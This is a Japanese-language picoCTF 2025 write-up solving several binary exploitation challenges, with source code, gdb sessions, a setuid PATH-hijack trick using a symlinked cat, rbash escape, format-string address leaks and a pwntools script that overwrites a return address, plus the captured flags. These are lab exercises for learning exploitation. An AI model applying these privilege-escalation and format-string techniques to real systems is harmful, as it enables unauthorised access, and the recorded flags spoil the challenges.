picoCTF 2025 Writeup - Binary Exploitation
PIE TIME - 75pt
Description
Can you try to get the flag? Beware we have PIE!
Additional details will be available after launching your challenge instance.
Hints
- Can you figure out what changed between the address you found locally and in the server output?
バイナリとソースコードが提供され、nc経由でバイナリを実行し、フラグを取得する。
ソースコードは以下。
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void segfault_handler() {
printf("Segfault Occurred, incorrect address.\n");
exit(0);
}
int win() {
FILE *fptr;
char c;
printf("You won!\n");
// Open file
fptr = fopen("flag.txt", "r");
if (fptr == NULL)
{
printf("Cannot open file.\n");
exit(0);
}
// Read contents from file
c = fgetc(fptr);
while (c != EOF)
{
printf ("%c", c);
c = fgetc(fptr);
}
printf("\n");
fclose(fptr);
}
int main() {
signal(SIGSEGV, segfault_handler);
setvbuf(stdout, NULL, _IONBF, 0); // _IONBF = Unbuffered
printf("Address of main: %p\n", &main);
unsigned long val;
printf("Enter the address to jump to, ex => 0x12345: ");
scanf("%lx", &val);
printf("Your input: %lx\n", val);
void (*foo)(void) = (void (*)())val;
foo();
}
プログラムは以下の動作をする。
- プログラムはmain関数のアドレスを表示する
- 入力プロンプトが表示され、ユーザがアドレスを0xXXXX形式で入力する
- プログラムは入力したアドレスの関数を実行する
よって、2でwin関数のアドレスを入力すれば、フラグを出力することができる。
$ checksec vuln
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
SHSTK: Enabled
IBT: Enabled
Stripped: No
checksecでPIEは有効になっている。相対的なアドレスを求める必要がある。main関数のアドレスは出力されるので、そことの差分を求めれば良い。
gdbでバイナリvulnを実行してmainとwinのアドレスの差を計算することができる。
gdb-peda$ p (*main-*win)
$1 = 0x96
差分は0x96なのでmain関数のアドレスから0x96を引いて入力すれば良い
$ nc rescued-float.picoctf.net 55484
Address of main: 0x641f10c0a33d
Enter the address to jump to, ex => 0x12345: 0x641f10c0a2a7
Your input: 641f10c0a2a7
You won!
picoCTF{b4s1c_p051t10n_1nd3p3nd3nc3_cb52e722}
hash-only-1 - 100pt
Description
Here is a binary that has enough privilege to read the content of the flag file but will only let you know its hash. If only it could just give you the actual content!
Additional details will be available after launching your challenge instance.
sshでインスタンスにログインすると、ホームディレクトリにflaghasherという実行ファイルがある。説明文からフラグを読んでハッシュを出力するもののようだ。rootでsetuidビットが立っているのでrootの権限でファイルを読むことができる。
ローカルにコピーしてgdbで動かしてみる。
disasするとsystem関数を読んでいる部分があるので、そこでbreakしてみる
[----------------------------------registers-----------------------------------]
RAX: 0x563953b2e2c0 ("/bin/bash -c 'md5sum /root/flag.txt'")
RBX: 0x0
RCX: 0x7fb3440100f9 (<__setuid+41>: cmp rax,0xfffffffffffff000)
RDX: 0x0
RSI: 0x563932086040 ("/bin/bash -c 'md5sum /root/flag.txt'")
RDI: 0x563953b2e2c0 ("/bin/bash -c 'md5sum /root/flag.txt'")
RBP: 0x7ffc396db390 --> 0x1
RSP: 0x7ffc396db340 --> 0x0
RIP: 0x5639320853de (<main+181>: call 0x563932085170 <system@plt>)
R8 : 0x0
R9 : 0x563953b2e2c0 ("/bin/bash -c 'md5sum /root/flag.txt'")
R10: 0x7fb343f35f10 --> 0xf001a00001b36
R11: 0x202
R12: 0x7ffc396db4a8 --> 0x7ffc396dd6ee ("/home/nisimura-picoctf/487/flaghasher")
R13: 0x563932085329 (<main>: endbr64)
R14: 0x0
R15: 0x7fb3443e9040 --> 0x7fb3443ea2e0 --> 0x563932084000 --> 0x10102464c457f
EFLAGS: 0x202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x5639320853d3 <main+170>: mov rdi,rax
0x5639320853d6 <main+173>: call 0x563932085140 <_ZNKSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE5c_strEv@plt>
0x5639320853db <main+178>: mov rdi,rax
=> 0x5639320853de <main+181>: call 0x563932085170 <system@plt>
0x5639320853e3 <main+186>: mov DWORD PTR [rbp-0x44],eax
0x5639320853e6 <main+189>: cmp DWORD PTR [rbp-0x44],0x0
0x5639320853ea <main+193>: je 0x56393208542b <main+258>
0x5639320853ec <main+195>: lea rsi,[rip+0xc75] # 0x563932086068
Guessed arguments:
arg[0]: 0x563953b2e2c0 ("/bin/bash -c 'md5sum /root/flag.txt'")
[------------------------------------stack-------------------------------------]
0000| 0x7ffc396db340 --> 0x0
0008| 0x7ffc396db348 --> 0x0
0016| 0x7ffc396db350 --> 0x563953b2e2c0 ("/bin/bash -c 'md5sum /root/flag.txt'")
0024| 0x7ffc396db358 --> 0x24 ('$')
0032| 0x7ffc396db360 --> 0x24 ('$')
0040| 0x7ffc396db368 --> 0x0
0048| 0x7ffc396db370 --> 0x0
0056| 0x7ffc396db378 --> 0xcfd2b94787e6a300
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Breakpoint 1, 0x00005639320853de in main ()
md5sum /root/flag.txtを実行してハッシュを出力している。PATHをいじってmd5sumの実体がcatになるようにする。
ctf-player@pico-chall$ ln -s /usr/bin/cat md5sum
ctf-player@pico-chall$ export PATH=".:$PATH"
$ ./flaghasher
Computing the MD5 hash of /root/flag.txt....
picoCTF{sy5teM_b!n@riEs_4r3_5c@red_0f_yoU_fc434b2b}
hash-only-2 - 200pt
Description
Here is a binary that has enough privilege to read the content of the flag file but will only let you know its hash. If only it could just give you the actual content!
Additional details will be available after launching your challenge instance.
hash-only-2と同じく/root/flag.txtを読み込んでハッシュ値を出力するflaghasherというバイナリがホームディレクトリに存在する。
$ flaghasher
Computing the MD5 hash of /root/flag.txt....
8d0be0a3eae935e7b24322657f
今回はPATHを書き換えようとするとbashの機能制限によって実行できない。
$ export PATH=".:$PATH"
-rbash: PATH: readonly variable
と思ったら、通常のbashもあってbashを起動できた。後はhash-only-1と同じ方法でフラグを出力させる。
$ bash
$ export PATH=".:$PATH"
$ ln -s /usr/bin/cat md5sum
$ flaghasher
Computing the MD5 hash of /root/flag.txt....
picoCTF{Co-@utH0r_Of_Sy5tem_b!n@riEs_fc0640ae}
PIE TIME 2 - 200pt
Description
Can you try to get the flag? I'm not revealing anything anymore!!
Additional details will be available after launching your challenge instance.
Hints
- What vulnerability can be exploited to leak the address?
- Please be mindful of the size of pointers in this binary
ソースコードとバイナリが提供され、nc経由でバイナリにアクセスしてフラグを出力させる。
ソースコードは以下。
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void segfault_handler() {
printf("Segfault Occurred, incorrect address.\n");
exit(0);
}
void call_functions() {
char buffer[64];
printf("Enter your name:");
fgets(buffer, 64, stdin);
printf(buffer);
unsigned long val;
printf(" enter the address to jump to, ex => 0x12345: ");
scanf("%lx", &val);
void (*foo)(void) = (void (*)())val;
foo();
}
int win() {
FILE *fptr;
char c;
printf("You won!\n");
// Open file
fptr = fopen("flag.txt", "r");
if (fptr == NULL)
{
printf("Cannot open file.\n");
exit(0);
}
// Read contents from file
c = fgetc(fptr);
while (c != EOF)
{
printf ("%c", c);
c = fgetc(fptr);
}
printf("\n");
fclose(fptr);
}
int main() {
signal(SIGSEGV, segfault_handler);
setvbuf(stdout, NULL, _IONBF, 0); // _IONBF = Unbuffered
call_functions();
return 0;
}
- プログラムが「Enter your name: 」とプロンプトを出す。
- ユーザが名前を入力する
- プログラムが読み取った名前を出力する
- プログラムが「 enter the address to jump to, ex => 0x12345: 」とプロンプトを出す
- ユーザがアドレスを入力する
- プログラムが入力されたアドレスの関数を実行する
という流れになっている。4〜6はPIE TIMEと同じ。
win関数がフラグを出力するので、5でwin関数のアドレスを入力すれば良い。
checksecを実行するとPIEが有効になっているので、実行時にしかアドレスはわからない
$ checksec vuln
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
SHSTK: Enabled
IBT: Enabled
Stripped: No
3で出力するのにprintf関数を使っているのでFormat String Bugが使えそう。
スタック上にはcall_functions実行中にcall_functionsの戻りアドレスが積まれる。このアドレスとwin関数のアドレスの差は同じであると考えられる。
よって、このアドレス差とcall_functionsの戻りアドレスがわかれば、win関数のアドレスがわかる。
call_functionsの中にブレークポイントを置いてデバッグする
(gdb) disas main
Dump of assembler code for function main:
0x0000555555555400 <+0>: endbr64
0x0000555555555404 <+4>: push rbp
0x0000555555555405 <+5>: mov rbp,rsp
0x0000555555555408 <+8>: lea rsi,[rip+0xfffffffffffffe9a] # 0x5555555552a9 <segfault_handler>
0x000055555555540f <+15>: mov edi,0xb
0x0000555555555414 <+20>: call 0x555555555170 <signal@plt>
0x0000555555555419 <+25>: mov rax,QWORD PTR [rip+0x2bf0] # 0x555555558010 <stdout@@GLIBC_2.2.5>
0x0000555555555420 <+32>: mov ecx,0x0
0x0000555555555425 <+37>: mov edx,0x2
0x000055555555542a <+42>: mov esi,0x0
0x000055555555542f <+47>: mov rdi,rax
0x0000555555555432 <+50>: call 0x555555555180 <setvbuf@plt>
0x0000555555555437 <+55>: mov eax,0x0
0x000055555555543c <+60>: call 0x5555555552c7 <call_functions>
0x0000555555555441 <+65>: mov eax,0x0 # <- call_functionsの戻りアドレスは0x0000555555555441
0x0000555555555446 <+70>: pop rbp
0x0000555555555447 <+71>: ret
(gdb) x/40gx $rsp
0x7fffffffd780: 0x00007fffffffd7a0 0x00007ffff7e35415
0x7fffffffd790: 0x00000a7024313225 0x00007ffff7fa75c0
0x7fffffffd7a0: 0x00007fffffffd7e0 0x00007ffff7e2b67f
0x7fffffffd7b0: 0x0000000000000000 0x00007fffffffd918
0x7fffffffd7c0: 0x0000000000000001 0x0000000000000000
0x7fffffffd7d0: 0x0000000000000000 0x56b2e4eb67709100
0x7fffffffd7e0: 0x00007fffffffd7f0 0x0000555555555441 # <- call_functionsの戻りアドレス
0x7fffffffd7f0: 0x00007fffffffd890 0x00007ffff7dcd1ca
0x7fffffffd800: 0x00007fffffffd840 0x00007fffffffd918
0x7fffffffd810: 0x0000000155554040 0x0000555555555400
0x7fffffffd820: 0x00007fffffffd918 0x59415672d0af6b0d
0x7fffffffd830: 0x0000000000000001 0x0000000000000000
0x7fffffffd840: 0x0000000000000000 0x00007ffff7ffd000
0x7fffffffd850: 0x59415672d18f6b0d 0x59414634c28d6b0d
0x7fffffffd860: 0x00007fff00000000 0x0000000000000000
0x7fffffffd870: 0x0000000000000000 0x0000000000000001
0x7fffffffd880: 0x0000000000000000 0x56b2e4eb67709100
0x7fffffffd890: 0x00007fffffffd8f0 0x00007ffff7dcd28b
0x7fffffffd8a0: 0x00007fffffffd928 0x00007ffff7ffe2e0
0x7fffffffd8b0: 0x00007fff00000000 0x0000555555555400
call_functionsの戻りアドレスがスタックトップから14番目に入っている。これはprintf関数からみると19番目の引数になる(スタックのトップが6番目の引数になることから計算する)。これとFormat String Bugをつかってプログラムに戻りアドレスを出力させることができる。
さらにこの戻りアドレスとwin関数のアドレス差を計算する。
(gdb) p *win
$1 = {<text variable, no debug info>} 0x55555555536a <win>
(gdb) p 0x0000555555555441-0x55555555536a
$2 = 215
アドレス差は10進数で215になる。
この情報を用いてwin関数にジャンプさせる。
$ nc rescued-float.picoctf.net 59084
Enter your name:%19$p
0x606c4bf9e441 # <- call_functionsの戻りアドレス
enter the address to jump to, ex => 0x12345: 0x606c4bf9e36a # <- 0x606c4bf9e441 - 215
You won!
picoCTF{p13_5h0u1dn'7_134k_1ef23143}
Echo Valley - 300pt
Description
The echo valley is a simple function that echoes back whatever you say to it.
But how do you make it respond with something more interesting, like a flag?
Download the source: valley.c
Download the binary: valleyAdditional details will be available after launching your challenge instance.
Hints
- Ever heard of a format string attack?
ソースコードとバイナリが提供され、ncコマンド経由でフラグを出力させる。
ヒントから今回もFormat String Bug問題である。
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
void print_flag() {
char buf[32];
FILE *file = fopen("/home/valley/flag.txt", "r");
if (file == NULL) {
perror("Failed to open flag file");
exit(EXIT_FAILURE);
}
fgets(buf, sizeof(buf), file);
printf("Congrats! Here is your flag: %s", buf);
fclose(file);
exit(EXIT_SUCCESS);
}
void echo_valley() {
printf("Welcome to the Echo Valley, Try Shouting: \n");
char buf[100];
while(1)
{
fflush(stdout);
if (fgets(buf, sizeof(buf), stdin) == NULL) {
printf("\nEOF detected. Exiting...\n");
exit(0);
}
if (strcmp(buf, "exit\n") == 0) {
printf("The Valley Disappears\n");
break;
}
printf("You heard in the distance: ");
printf(buf);
fflush(stdout);
}
fflush(stdout);
}
int main()
{
echo_valley();
return 0;
}
while(1)でループしているので複数回Format String Bugを実行することができる。
gdbでecho_valley関数内にブレークポイントを置き、スタックを表示する。
(gdb) x/40gx $rsp
0x7ffdcb5a6600: 0x3225207024303225 0x000000000a702431 # 6,7番目
0x7ffdcb5a6610: 0x0000000000000000 0x0000000000000000 # 8,9番目
0x7ffdcb5a6620: 0x0000000000000000 0x0000000000000000 # 10,11番目
0x7ffdcb5a6630: 0x0000000000000000 0x0000000000000000 # 12,13番目
0x7ffdcb5a6640: 0x0000000000000000 0x0000000000000000 # 14,15番目
0x7ffdcb5a6650: 0x0000000000000000 0x0000000000000000 # 16,17番目
0x7ffdcb5a6660: 0x0000000000000000 0x66ea05727d799e00 # 18,19番目
0x7ffdcb5a6670: 0x00007ffdcb5a6680 0x000055d8e6fb4413 # <- 戻りアドレス。21番目
0x7ffdcb5a6680: 0x0000000000000001 0x00007effef56ed90
スタックトップから16番目の位置にecho_valleyの戻りアドレスがある。この戻りアドレス(0x000055d8e6fb4413)をprint_flagのアドレスに書き換えてフラグを出力させたい。
pwntoolsのfmtstr_payloadに書き換えたいアドレスと、書き換えたい値を辞書形式で渡すと、書き換えるためのフォーマット文字列を生成することができる。
書き換えたいアドレスの情報は上記の場合は戻りアドレスが書かれているアドレス0x7ffdcb5a6678である。これはアドレス0x7ffdcb5a6670の値0x00007ffdcb5a6680-8で計算できる。0x7ffdcb5a6670はスタックトップから15番目、printf関数の20番目の引数の位置にあるので、Format String Bugを用いて出力できる。
書き換えたい値はprint_flagのアドレスである。これは、echo_valleyの戻りアドレスとprint_flagのアドレスの差が0x1aaであるので、echo_valleyの戻りアドレスがわかれば計算できる。echo_valleyの戻りアドレスはスタックトップから16番目、printf関数の21番目の引数の位置にあるので、Format String Bugを利用して出力可能。
よって、1回目の入力で20番目の引数と21番目の引数を出力し、その情報をもとに2回目の入力でecho_valleyの戻りアドレスの書き換えを行う。その後にexitを入力することでecho_valleyを抜け出して、戻りアドレスにリターンすることでprint_flagを実行する
host = 'shape-facility.picoctf.net'
port = 51345
# io = process('./valley')
io = remote(host, port)
msg = b'%20$p %21$p'
io.sendline(msg)
io.recvuntil(b'You heard in the distance: ')
rbp, return_addr = map(lambda x: int(x, 16), io.recvline().strip().split())
print(f'rbp = {hex(rbp)}')
print('return_addr:', hex(return_addr))
arg21_addr = rbp - 8
print(f'arg21_addr = {hex(arg21_addr)}')
print_flag_addr = return_addr - diff
msg = fmtstr_payload(6, {arg21_addr: print_flag_addr}, write_size='short')
print(f'msg = {msg}')
io.sendline(msg)
print('send payload')
response = io.recvrepeat(0.5)
print(response)
io.sendline(b'exit')
print(io.recvall())
これを実行すると以下のように出力される
rbp = 0x7fff1d4f4b30
return_addr: 0x63d190a65413
arg21_addr = 0x7fff1d4f4b28
msg = b'%21097c%11$lln%4456c%12$hn%11477c%13$hna(KO\x1d\xff\x7f\x00\x00,KO\x1d\xff\x7f\x00\x00*KO\x1d\xff\x7f\x00\x00'
send payload
b'You heard in the distance:
...
[+] Receiving all data: Done (81B)
[*] Closed connection to shape-facility.picoctf.net port 51345
b'The Valley Disappears\nCongrats! Here is your flag: picoctf{f1ckl3_f0rmat_f1asc0}\n'
handoff - 400pt
未解答
Description
Download the binary here
Download the source here
Connect to the program with netcat:
$ nc shape-facility.picoctf.net 51954
Discussion